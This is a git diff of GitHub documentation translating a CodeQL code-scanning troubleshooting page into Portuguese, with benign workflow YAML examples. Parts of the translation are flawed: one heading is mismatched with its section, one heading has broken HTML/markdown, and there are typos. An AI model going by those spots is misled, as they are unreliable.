-1. Your workflow is analyzing a compiled language (C, C++, C#, or Java), but compilation does not occur between the `init` and `analyze` steps in the workflow. {% data variables.product.prodname_codeql %} requires that your build happens in between these two steps in order to observe the activity of the compiler and perform analysis. 
-1. Your compiled code (in C, C++, C#, or Java) was compiled successfully, but {% data variables.product.prodname_codeql %} was unable to detect the compiler invocations. The most common causes are:
+   Para obter mais informações, consulte a extração de fluxo de trabalho em "[Criação automática para falhas de linguagem compilada](#automatic-build-for-a-compiled-language-fails)" acima.
+1. O seu fluxo de trabalho de {% data variables.product.prodname_code_scanning %} está analisando uma linguagem compilada (C, C++, C#, ou Java), mas o código não foi compilado. Por padrão, o fluxo de trabalho da análise do {% data variables.product.prodname_codeql %} contém uma etapa `autobuild`. No entanto, esta etapa representa um melhor processo de esforço, e pode não ter sucesso na criação do seu código, dependendo do seu ambiente de criação específico. Também pode ocorrer uma falha na criação se você removeu a etapa de `autobuild` e não incluiu as etapas de criação manualmente.  Para obter mais informações sobre a especificação de etapas de criação, consulte "[Configurar o fluxo de trabalho do {% data variables.product.prodname_codeql %} para linguagens compiladas](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)".
+1. O seu fluxo de trabalho está analisando uma linguagem compilada (C, C++, C#, ou Java), mas partes de sua compilação são armazenadas em cache para melhorar o desempenho (é mais provável que ocorra com sistemas de criação como o Gradle ou Bazel). Uma vez que o {% data variables.product.prodname_codeql %} observa a atividade do compilador para entender os fluxos de dados em um repositório, {% data variables.product.prodname_codeql %} exige uma compilação completa para realizar a análise.
+1. O seu fluxo de trabalho está analisando uma linguagem compilada (C, C++, C#, ou Java), mas a compilação não ocorre entre as etapas `init` e `analisar` no fluxo de trabalho. O {% data variables.product.prodname_codeql %} exige que a sua compilação aconteça entre essas duas etapas para observar a atividade do compilador e realizar a análise.
+1. Seu código compilado (em C, C++, C#, ou Java) foi compilado com sucesso, mas o {% data variables.product.prodname_codeql %} não conseguiu detectar as chamadas do compilador. As causas mais comuns são:
 
-   * Running your build process in a separate container to {% data variables.product.prodname_codeql %}. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)."
-   * Building using a distributed build system external to GitHub Actions, using a daemon process.
-   * {% data variables.product.prodname_codeql %} isn't aware of the specific compiler you are using.
+   * Executar seu processo de criação em um contêiner separado para {% data variables.product.prodname_codeql %}. Para obter mais informações, consulte "[Executar a varredura de código do CodeQL em um contêiner](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)".
+   * Criar usando um sistema de compilação distribuído externo às Ações GitHub, usando um processo de daemon.
+   * {% data variables.product.prodname_codeql %} não está ciente do compilador específico que você está usando.
 
-  For .NET Framework projects, and for C# projects using either `dotnet build` or `msbuild`, you should specify `/p:UseSharedCompilation=false` in your workflow's `run` step, when you build your code.
-  
-  For example, the following configuration for C# will pass the flag during the first build step.
+  Para projetos de .NET Framework e para projetos C# que usam `dotnet build` ou `msbuild`, você deverá especificar `/p:UseSharedCompilation=false` na etapa de `executar` do seu fluxo de trabalho, ao criar o seu código.
+
+  Por exemplo, a seguinte configuração para C# irá passar o sinalizador durante a primeira etapa de criação.
 
    ``` yaml
    - run: |
        dotnet build /p:UseSharedCompilation=false
    ```
 
-  If you encounter another problem with your specific compiler or configuration, contact {% data variables.contact.contact_support %}.
+  Se você encontrar outro problema com seu compilador específico ou configuração, entre em contato com {% data variables.contact.contact_support %}.
 
-For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." 
+Para obter mais informações sobre a especificação de etapas de criação, consulte "[Configurar o fluxo de trabalho do {% data variables.product.prodname_codeql %} para linguagens compiladas](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)".
 
 {% ifversion fpt or ghes > 3.1  or ghae or ghec %}
-## Lines of code scanned are lower than expected
+## As inhas de código digitalizadas são menores do que o esperado
 
-For compiled languages like C/C++, C#, Go, and Java, {% data variables.product.prodname_codeql %} only scans files that are built during the analysis. Therefore the number of lines of code scanned will be lower than expected if some of the source code isn't compiled correctly. This can happen for several reasons:
+Para linguagens compiladas como, por exemplo, C/C++, C#, Go e Java, {% data variables.product.prodname_codeql %} só faz a digitalização de arquivos criados durante a análise. Portanto, o número de linhas de código digitalizadas será menor do que o esperado se parte do código-fonte não for compilado corretamente. Isso pode acontecer por várias razões:
 
-1. The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository. However, sometimes this approach results in an incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not be complete since the `autobuild` step will only execute one of the commands, and therefore some source files may not be compiled.
-1. Some compilers do not work with {% data variables.product.prodname_codeql %} and can cause issues while analyzing the code. For example, Project Lombok uses non-public compiler APIs to modify compiler behavior. The assumptions used in these compiler modifications are not valid for {% data variables.product.prodname_codeql %}'s Java extractor, so the code cannot be analyzed.
+1. O recurso {% data variables.product.prodname_codeql %} `autobuild` usa heurística para criar o código em um repositório. No entanto, às vezes essa abordagem resulta em uma análise incompleta de um repositório. Por exemplo, quando vários comandos `build.sh` existem em um único repositório, a análise pode não estar completa, uma vez que a etapa de `autobuild` executará apenas um dos comandos. Portanto, alguns arquivos de origem podem não ser compilados.
+1. Alguns compiladores não funcionam com {% data variables.product.prodname_codeql %} e podem causar problemas ao analisar o código. Por exemplo, o projeto Lombok usa APIs do compilador não público para modificar o comportamento do compilador. As suposições usadas nessas modificações do compilador não são válidas para o extrator Java do {% data variables.product.prodname_codeql %}. Portanto, o código não pode ser analisado.
 
-If your {% data variables.product.prodname_codeql %} analysis scans fewer lines of code than expected, there are several approaches you can try to make sure all the necessary source files are compiled.
+Se a sua análise de {% data variables.product.prodname_codeql %} digitalizar menos linhas de código do que o esperado, existem várias abordagens que você pode testar para garantir que todos os arquivos fonte necessários sejam compilados.
 
-### Replace the `autobuild` step 
+### Substitua a etapa `autobuild`
 
-Replace the `autobuild` step with the same build commands you would use in production. This makes sure that {% data variables.product.prodname_codeql %} knows exactly how to compile all of the source files you want to scan.
-For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." 
+Substitua a etapa `autobuild` pelos os mesmos comandos de compilação que você usaria em produção. Isso garante que {% data variables.product.prodname_codeql %} sabe exatamente como compilar todos os arquivos de origem que você deseja digitalizar. Para obter mais informações, consulte "[Configurar o fluxo de trabalho do {% data variables.product.prodname_codeql %} para linguagens compiladas](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)".
 
-### Inspect the copy of the source files in the {% data variables.product.prodname_codeql %} database
-You may be able to understand why some source files haven't been analyzed by inspecting the copy of the source code included with the {% data variables.product.prodname_codeql %} database. To obtain the database from your Actions workflow, add an `upload-artifact` action after the analysis step in your code scanning workflow:
+### Inspecionar a cópia dos arquivos de origem no banco de dados de {% data variables.product.prodname_codeql %}
+Talvez você seja possa entender por que alguns arquivos de origem não foram analisados inspecionando a cópia do código-fonte incluído na base de dados de {% data variables.product.prodname_codeql %}. Para obter o banco de dados de seu fluxo de trabalho de ações, adicione uma ação `upload-artifact` após a etapa de análise de seu fluxo de trabalho de digitalização de código:
 ```
 - uses: actions/upload-artifact@v2
   with:
     name: codeql-database
     path: ../codeql-database
 ```
-This uploads the database as an actions artifact that you can download to your local machine. For more information, see "[Storing workflow artifacts](/actions/guides/storing-workflow-data-as-artifacts)."
+Isso faz o upload do banco de dados como um artefato de ações que você pode baixar para a sua máquina local. Para obter mais informações, consulte "[Armazenando artefatos de fluxo de trabalho](/actions/guides/storing-workflow-data-as-artifacts)".
 
-The artifact will contain an archived copy of the source files scanned by {% data variables.product.prodname_codeql %} called _src.zip_. If you compare the source code files in the repository and the files in _src.zip_, you can see which types of file are missing. Once you know what types of file are not being analyzed, it is easier to understand how you may need to change the workflow for {% data variables.product.prodname_codeql %} analysis.
+O artefato conterá uma cópia arquivada dos arquivos de origem digitalizados por {% data variables.product.prodname_codeql %} denominada _src.zip_. Se você comparar os arquivos do código-fonte no repositório e os arquivos em _src. ip_, você poderá ver quais tipos de arquivo estarão faltando. Uma vez que você sabe quais tipos de arquivo não estão sendo analisados, é mais fácil entender como você pode precisar alterar o fluxo de trabalho para a análise de {% data variables.product.prodname_codeql %}.
 
-## Extraction errors in the database
+## Erros de extração no banco de dados
 
-The {% data variables.product.prodname_codeql %} team constantly works on critical extraction errors to make sure that all source files can be scanned. However, the {% data variables.product.prodname_codeql %} extractors do occasionally generate errors during database creation. {% data variables.product.prodname_codeql %} provides information about extraction errors and warnings generated during database creation in a log file. 
-The extraction diagnostics information gives an indication of overall database health. Most extractor errors do not significantly impact the analysis. A small number of extractor errors is healthy and typically indicates a good state of analysis.
+A equipe de {% data variables.product.prodname_codeql %} trabalha constantemente em erros críticos de extração para garantir que todos os arquivos de origem possam ser digitalizados. No entanto, os extratores de {% data variables.product.prodname_codeql %} às vezes geram erros durante a criação do banco de dados. {% data variables.product.prodname_codeql %} fornece informações sobre erros de extração e avisos gerados durante a criação do banco de dados em um arquivo de registro. A informação sobre o diagnóstico de extração fornece uma indicação da saúde geral do banco de dados. A maioria dos erros dos extratores não impactam a análise significativamente. Um pequeno número de erros de extrator é saudável e normalmente indica um bom estado de análise.
 
-However, if you see extractor errors in the overwhelming majority of files that were compiled during database creation, you should look into the errors in more detail to try to understand why some source files weren't extracted properly.
+No entanto, se você vir erros de extrator na grande maioria dos arquivos que foram compilados durante a criação do banco de dados, você deverá analisar os erros mais detalhadamente para tentar entender por que alguns arquivos de origem não foram extraídos corretamente.
 
 {% else %}
-## Portions of my repository were not analyzed using `autobuild`
+## Partes do meu repositório não foram analisadas usando `build automático`
 
-The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository, however, sometimes this approach results in incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not complete since the `autobuild` step will only execute one of the commands. The solution is to replace the `autobuild` step with build steps which build all of the source code which you wish to analyze. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+O recurso de {% data variables.product.prodname_codeql %} `autobuild` usa heurística para criar o código em um repositório. No entanto, às vezes, essa abordagem resulta em uma análise incompleta de um repositório. Por exemplo, quando uma compilação múltipla de `build.sh` existe em um único repositório, é possível que a análise não seja concluída, já que a etapa `autobuild` executará apenas um dos comandos. A solução é substituir a etapa `autobuild` pelas etapas de criação que criam todo o código-fonte que você deseja analisar. Para obter mais informações, consulte "[Configurar o fluxo de trabalho do {% data variables.product.prodname_codeql %} para linguagens compiladas](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)".
 {% endif %}
 
 
-## The build takes too long
+## A criação demora muito tempo
 
-If your build with {% data variables.product.prodname_codeql %} analysis takes too long to run, there are several approaches you can try to reduce the build time. 
+Se a sua criação com a análise de {% data variables.product.prodname_codeql %} demorar muito para ser executada, existem várias abordagens que você pode tentar para reduzir o tempo de criação.
 
-### Increase the memory or cores
+### Usar criações da matriz para paralelizar a análise
 
-If you use self-hosted runners to run {% data variables.product.prodname_codeql %} analysis, you can increase the memory or the number of cores on those runners.
+Se você usar executores auto-hospedados para executar a análise do {% data variables.product.prodname_codeql %}, você poderá aumentar a memória ou o número de núcleos nesses executores.
 
-### Use matrix builds to parallelize the analysis
+### Usar criações da matriz para paralelizar a análise
 
-The default {% data variables.product.prodname_codeql_workflow %} uses a build matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
+O {% data variables.product.prodname_codeql_workflow %} padrão usa uma matriz de criação de linguagens, o que faz com que a análise de cada linguagem seja executada em paralelo. Se você especificou as linguagens que deseja analisar diretamente na etapa "Inicializar CodeQL", a análise de cada linguagem acontecerá sequencialmente. Para acelerar a análise de várias linguagens, modifique o seu fluxo de trabalho para usar uma matriz. Para obter mais informações, consulte a extração de fluxo de trabalho em "[Criação automática para falhas de linguagem compilada](#automatic-build-for-a-compiled-language-fails)" acima.
 
-### Reduce the amount of code being analyzed in a single workflow
+### Reduz a quantidade de código em análise em um único fluxo de trabalho
 
-Analysis time is typically proportional to the amount of code being analyzed. You can reduce the analysis time by reducing the amount of code being analyzed at once, for example, by excluding test code, or breaking analysis into multiple workflows that analyze only a subset of your code at a time.
+O tempo de análise é tipicamente proporcional à quantidade de código em análise. Você pode reduzir o tempo de análise reduzindo a quantidade de código em análise de uma vez, por exemplo, excluindo o código de teste, ou dividindo a análise em vários fluxos de trabalho que analisam apenas um subconjunto do seu código por vez.
 
-For compiled languages like Java, C, C++, and C#, {% data variables.product.prodname_codeql %} analyzes all of the code which was built during the workflow run. To limit the amount of code being analyzed, build only the code which you wish to analyze by specifying your own build steps in a `run` block. You can combine specifying your own build steps with using the `paths` or `paths-ignore` filters on the `pull_request` and `push` events to ensure that your workflow only runs when specific code is changed. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)."
+Para linguagens compiladas como Java, C, C++ e C#, o {% data variables.product.prodname_codeql %} analisa todo o código construído durante a execução do fluxo de trabalho. Para limitar a quantidade de código em análise, crie apenas o código que você deseja analisar especificando suas próprias etapas de criação em um bloco `Executar`. Você pode combinar a especificação das suas próprias etapas de criação ao usar os filtros `caminhos` ou `paths-ignore` nos eventos `pull_request` e `push` para garantir que o seu fluxo de trabalho só será executado quando o código específico for alterado. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)".
 
-For interpreted languages like Go, JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without a specific build, you can specify additional configuration options to limit the amount of code to analyze. For more information, see "[Specifying directories to scan](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)."
+Para linguagens como Go, JavaScript, Python e TypeScript, que {% data variables.product.prodname_codeql %} analisa sem compilar o código-fonte, você pode especificar as opções de configuração adicionais para limitar a quantidade de código a ser analisado. Para obter mais informações, consulte "[Especificar diretórios a serem varridos](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)".
 
-If you split your analysis into multiple workflows as described above, we still recommend that you have at least one workflow which runs on a `schedule` which analyzes all of the code in your repository. Because {% data variables.product.prodname_codeql %} analyzes data flows between components, some complex security behaviors may only be detected on a complete build. 
+Se você dividir sua análise em vários fluxos de trabalho, conforme descrito acima, ainda assim recomendamos que você tenha pelo menos um fluxo de trabalho que seja executado em um `agendamento` que analise todo o código no seu repositório. Já que o {% data variables.product.prodname_codeql %} analisa os fluxos de dados entre os componentes, alguns comportamentos de segurança complexos só podem ser detectados em uma criação completa.
 
-### Run only during a `schedule` event
+### Executar somente durante um evento de </code>agendamento`</h3>
 
-If your analysis is still too slow to be run during `push` or `pull_request` events, then you may want to only trigger analysis on the `schedule` event. For more information, see "[Events](/actions/learn-github-actions/introduction-to-github-actions#events)."
+<p spaces-before="0">Se sua análise ainda é muito lenta para ser executada durante eventos <code>push` ou `pull_request`, você poderá acionar apenas a análise no evento `agendamento`. Para obter mais informações, consulte "[Eventos](/actions/learn-github-actions/introduction-to-github-actions#events)".</p>
 
 {% ifversion fpt or ghec %}
-## Results differ between analysis platforms
+## Os resultados diferem entre as plataformas de análise
 
-If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.product.prodname_codeql_workflow %} on Linux, macOS, or Windows.
+Se você estiver analisando o código escrito no Python, você poderá ver resultados diferentes dependendo se você executa o {% data variables.product.prodname_codeql_workflow %} no Linux, macOS ou Windows.
 
-On GitHub-hosted runners that use Linux, the {% data variables.product.prodname_codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)."
+Nos executores hospedados no GitHub que usam o Linux, o {% data variables.product.prodname_codeql_workflow %} tenta instalar e analisar as dependências do Python, o que pode gerar mais resultados. Para desabilitar a instalação automática, adicione `setup-python-dependencies: false` à etapa "Inicializar CodeQL" do fluxo de trabalho. Para obter mais informações sobre a configuração da análise de dependências do Python, consulte "[Analisar as dependências do Python](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)".
 
 {% endif %}
 
-## Error: "Server error"
+## Error: "Erro do servidor"
 
-If the run of a workflow for {% data variables.product.prodname_code_scanning %} fails due to a server error, try running the workflow again. If the problem persists, contact {% data variables.contact.contact_support %}.
+Se a execução de um fluxo de trabalho para {% data variables.product.prodname_code_scanning %} falhar devido a um erro no servidor, tente executar o fluxo de trabalho novamente. Se o problema persistir, entre em contato com {% data variables.contact.contact_support %}.
 
-## Error: "Out of disk" or "Out of memory"
+## Erro: "Fora do disco" ou "Sem memória"
 
-On very large projects, {% data variables.product.prodname_codeql %} may run out of disk or memory on the runner.
-{% ifversion fpt or ghec %}If you encounter this issue on a hosted {% data variables.product.prodname_actions %} runner, contact {% data variables.contact.contact_support %} so that we can investigate the problem.
-{% else %}If you encounter this issue, try increasing the memory on the runner.{% endif %}
+Em projetos muito grandes, {% data variables.product.prodname_codeql %} pode ficar sem disco ou memória no executor.
+{% ifversion fpt or ghec %}Se encontrar esse problema em um executor de {% data variables.product.prodname_actions %} hospedado, entre em contato com {% data variables.contact.contact_support %} para que possamos investigar o problema.
+{% else %}Se você encontrar esse problema, tente aumentar a memória no executor.{% endif %}
 
 {% ifversion fpt or ghec %}
-## Error: 403 "Resource not accessible by integration" when using {% data variables.product.prodname_dependabot %}
+## Erro: 403 "Resource not accessible by integration" ao usar {% data variables.product.prodname_dependabot %}
 
-{% data variables.product.prodname_dependabot %} is considered untrusted when it triggers a workflow run, and the workflow will run with read-only scopes. Uploading {% data variables.product.prodname_code_scanning %} results for a branch usually requires the `security_events: write` scope. However, {% data variables.product.prodname_code_scanning %} always allows the uploading of results when the `pull_request` event triggers the action run. This is why, for {% data variables.product.prodname_dependabot %} branches, we recommend you use the `pull_request` event instead of the `push` event.
+{% data variables.product.prodname_dependabot %} é considerado não confiável quando aciona uma execução de fluxo de trabalho, e o fluxo de trabalho será executado com escopos somente leitura. Fazer o upload dos resultados de {% data variables.product.prodname_code_scanning %} para um branch, geralmente exige o escopo `security_events: write`. No entanto, {% data variables.product.prodname_code_scanning %} sempre permite o upload de resultados quando o evento `pull_request` aciona a ação executar. Esse é o motivo pelo qual, para branches de {% data variables.product.prodname_dependabot %}, recomendamos que você use o evento `pull_request` em vez do evento `push`.
 
-A simple approach is to run on pushes to the default branch and any other important long-running branches, as well as pull requests opened against this set of branches:
+Uma abordagem simples é executar pushes no branch padrão e todos os outros branches importantes de execução longa, além de pull requests abertos contra este conjunto de branches:
 ```yaml
 on:
   push:
@@ -224,7 +221,7 @@ on:
     branches:
       - main
 ```
-An alternative approach is to run on all pushes except for {% data variables.product.prodname_dependabot %} branches:
+Uma abordagem alternativa é executar em todos os pushes, exceto em branches de {% data variables.product.prodname_dependabot %}:
 ```yaml
 on:
   push:
@@ -233,26 +230,26 @@ on:
   pull_request:
 ```
 
-### Analysis still failing on the default branch
+### Análise continua com falha no branch padrão
 
-If the {% data variables.product.prodname_codeql_workflow %} still fails on a commit made on the default branch, you need to check:
-- whether {% data variables.product.prodname_dependabot %} authored the commit
-- whether the pull request that includes the commit has been merged using `@dependabot squash and merge`
+Se o {% data variables.product.prodname_codeql_workflow %} ainda falhar em um commit criado no branch padrão, você deverá verificar:
+- se {% data variables.product.prodname_dependabot %} criou o commit
+- se o pull request que inclui o commit mesclado usando `*@dependabot squash e merge`
 
-This type of merge commit is authored by {% data variables.product.prodname_dependabot %} and therefore, any workflows running on the commit will have read-only permissions. If you enabled {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} security updates or version updates on your repository, we recommend you avoid using the {% data variables.product.prodname_dependabot %} `@dependabot squash and merge` command. Instead, you can enable auto-merge for your repository. This means that pull requests will be automatically merged when all required reviews are met and status checks have passed. For more information about enabling auto-merge, see "[Automatically merging a pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)."
+Este tipo de commit de merge foi criado por {% data variables.product.prodname_dependabot %} e, portanto, qualquer fluxo de trabalho que esteja em execução no commit terá permissões de somente leitura. Se você habilitou as atualizações de segurança de {% data variables.product.prodname_code_scanning %} e {% data variables.product.prodname_dependabot %} ou as atualizações da versão no seu repositório, recomendamos que você evite usar o comando {% data variables.product.prodname_dependabot %} `@dependabot squash e merge`. Em vez disso, você pode habilitar a mesclagem automática para o seu repositório. Isto significa que os pull requests serão automaticamente mesclados quando todas as revisões necessárias forem atendidas e as verificações de status forem aprovadas. Para obter mais informações sobre como habilitar o merge automático, consulte "[Merge automático de um pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)".
 {% endif %}
 
-## Warning: "git checkout HEAD^2 is no longer necessary"
+## Aviso: "git checkout HEAD^2 is no longer necessary"
 
-If you're using an old {% data variables.product.prodname_codeql %} workflow you may get the following warning in the output from the "Initialize {% data variables.product.prodname_codeql %}" action:
+Se você estiver usando um fluxo de trabalho antigo de {% data variables.product.prodname_codeql %}, você poderá receber o aviso a seguir na saída "Inicializar {% data variables.product.prodname_codeql %}" da ação:
 
 ```
-Warning: 1 issue was detected with this workflow: git checkout HEAD^2 is no longer 
+Aviso: 1 issue was detected with this workflow: git checkout HEAD^2 is no longer 
 necessary. Please remove this step as Code Scanning recommends analyzing the merge 
 commit for best results.
 ```
 
-Fix this by removing the following lines from the {% data variables.product.prodname_codeql %} workflow. These lines were included in the `steps` section of the `Analyze` job in initial versions of the {% data variables.product.prodname_codeql %} workflow.
+Corrija isto removendo as seguintes linhas do fluxo de trabalho {% data variables.product.prodname_codeql %}. Essas linhas foram incluídas na seção `etapas` do trabalho `Analyze` nas versões iniciais do fluxo de trabalho de {% data variables.product.prodname_codeql %}.
 
 ```yaml
         with:
@@ -266,7 +263,7 @@ Fix this by removing the following lines from the {% data variables.product.prod
         if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %}
 ```
 
-The revised `steps` section of the workflow will look like this:
+A seção revisada de `etapas` do fluxo de trabalho será parecida com esta:
 
 ```yaml
     steps:
@@ -280,4 +277,4 @@ The revised `steps` section of the workflow will look like this:
       ...
 ```
 
-For more information about editing the {% data variables.product.prodname_codeql %} workflow file, see  "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)."
+Para obter mais informações sobre a edição do arquivo de fluxo de trabalho {% data variables.product.prodname_codeql %}, consulte "[Configurar {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)".
diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md
index 0f67facbfb..d3d2d0d439 100644
--- a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md
+++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing code scanning logs
-intro: 'You can view the output generated during {% data variables.product.prodname_code_scanning %} analysis in {% data variables.product.product_location %}.'
+title: Visualizar os registros de varredura de código
+intro: 'Você pode visualizar a saída gerada durante a análise {% data variables.product.prodname_code_scanning %} em {% data variables.product.product_location %}.'
 product: '{% data reusables.gated-features.code-scanning %}'
 permissions: 'If you have write permissions to a repository, you can view the {% data variables.product.prodname_code_scanning %} logs for that repository.'
 miniTocMaxHeadingLevel: 4
@@ -13,70 +13,70 @@ versions:
   ghec: '*'
 topics:
   - Security
-shortTitle: View code scanning logs
+shortTitle: Visualizar os registros de digitalização de código
 ---
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
 
-## About your {% data variables.product.prodname_code_scanning %} setup 
+## Sobre sua configuração de {% data variables.product.prodname_code_scanning %}
 
-You can use a variety of tools to set up {% data variables.product.prodname_code_scanning %} in your repository. For more information, see  "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)."
+Você pode usar uma série de ferramentas para configurar {% data variables.product.prodname_code_scanning %} no seu repositório. Para obter mais informações, consulte "[Configuração do {% data variables.product.prodname_code_scanning %} para um repositório](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)".
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-The log and diagnostic information available to you depends on the method you use for {% data variables.product.prodname_code_scanning %} in your repository. You can check the type of {% data variables.product.prodname_code_scanning %} you're using in the **Security** tab of your repository, by using the **Tool** drop-down menu in the alert list. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+A informação de registro e diagnóstico disponível para você depende do método que você usa para {% data variables.product.prodname_code_scanning %} no repositório. Você pode verificar o tipo de {% data variables.product.prodname_code_scanning %} que você está usando na aba **Segurança** do seu repositório, usando o menu suspenso **Ferramenta** na lista de alerta. Para obter mais informações, consulte "[Gerenciar alertas de {% data variables.product.prodname_code_scanning %} para o seu repositório](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)".
 
-## About analysis and diagnostic information
+## Sobre análise e informações de diagnóstico
 
-You can see analysis and diagnostic information for {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_codeql %} analysis on {% data variables.product.prodname_dotcom %}. 
+Você pode visualizar as análises e informações de diagnóstico para {% data variables.product.prodname_code_scanning %} executar usando as análises de {% data variables.product.prodname_codeql %} em {% data variables.product.prodname_dotcom %}.
 
-**Analysis** information is shown for the most recent analysis in a header at the top of the list of alerts. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+**As informações de análise** são exibidas para a análise mais recente em um cabeçalho, na parte superior da lista de alertas. Para obter mais informações, consulte "[Gerenciar alertas de varredura de código para seu repositório](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository). "
 
-**Diagnostic** information is displayed in the Action workflow logs and consists of summary metrics and extractor diagnostics. For information about accessing {% data variables.product.prodname_code_scanning %} logs on {% data variables.product.prodname_dotcom %}, see "[Viewing the logging output from {% data variables.product.prodname_code_scanning %}](#viewing-the-logging-output-from-code-scanning)" below.
+**A informação de diagnóstico** é exibida nos logs de fluxo de trabalho de ação e consiste em métricas resumidas e diagnósticos de extrator. Para obter informações sobre o acesso aos registros de {% data variables.product.prodname_code_scanning %} em {% data variables.product.prodname_dotcom %}, consulte "[Visualizar a saída do registro de {% data variables.product.prodname_code_scanning %}](#viewing-the-logging-output-from-code-scanning)" abaixo.
 
-If you're using the {% data variables.product.prodname_codeql_cli %} outside {% data variables.product.prodname_dotcom %}, you'll see diagnostic information in the output generated during database analysis. This information is also included in the SARIF results file you upload to {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_code_scanning %} results.
+Se você estiver utilizando o {% data variables.product.prodname_codeql_cli %} fora de {% data variables.product.prodname_dotcom %}, você verá informações de diagnóstico na saída gerada durante a análise do banco de dados. Estas informações também estão incluídas nos resultados do SARIF que você enviou para {% data variables.product.prodname_dotcom %} com os resultados de {% data variables.product.prodname_code_scanning %}.
 
-For information about the {% data variables.product.prodname_codeql_cli %}, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#viewing-log-and-diagnostic-information)."
+Para obter informações sobre o {% data variables.product.prodname_codeql_cli %}, consulte "[Configurar {% data variables.product.prodname_codeql_cli %} no seu sistema de CI](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#viewing-log-and-diagnostic-information)".
 
-### About summary metrics
+### Sobre métricas resumidas
 
 {% data reusables.code-scanning.summary-metrics %}
 
-### About {% data variables.product.prodname_codeql %} source code extraction diagnostics
+### Sobre diagnósticos de extração de código-fonte de {% data variables.product.prodname_codeql %}
 
 {% data reusables.code-scanning.extractor-diagnostics %}
 
 {% endif %}
-## Viewing the logging output from {% data variables.product.prodname_code_scanning %}
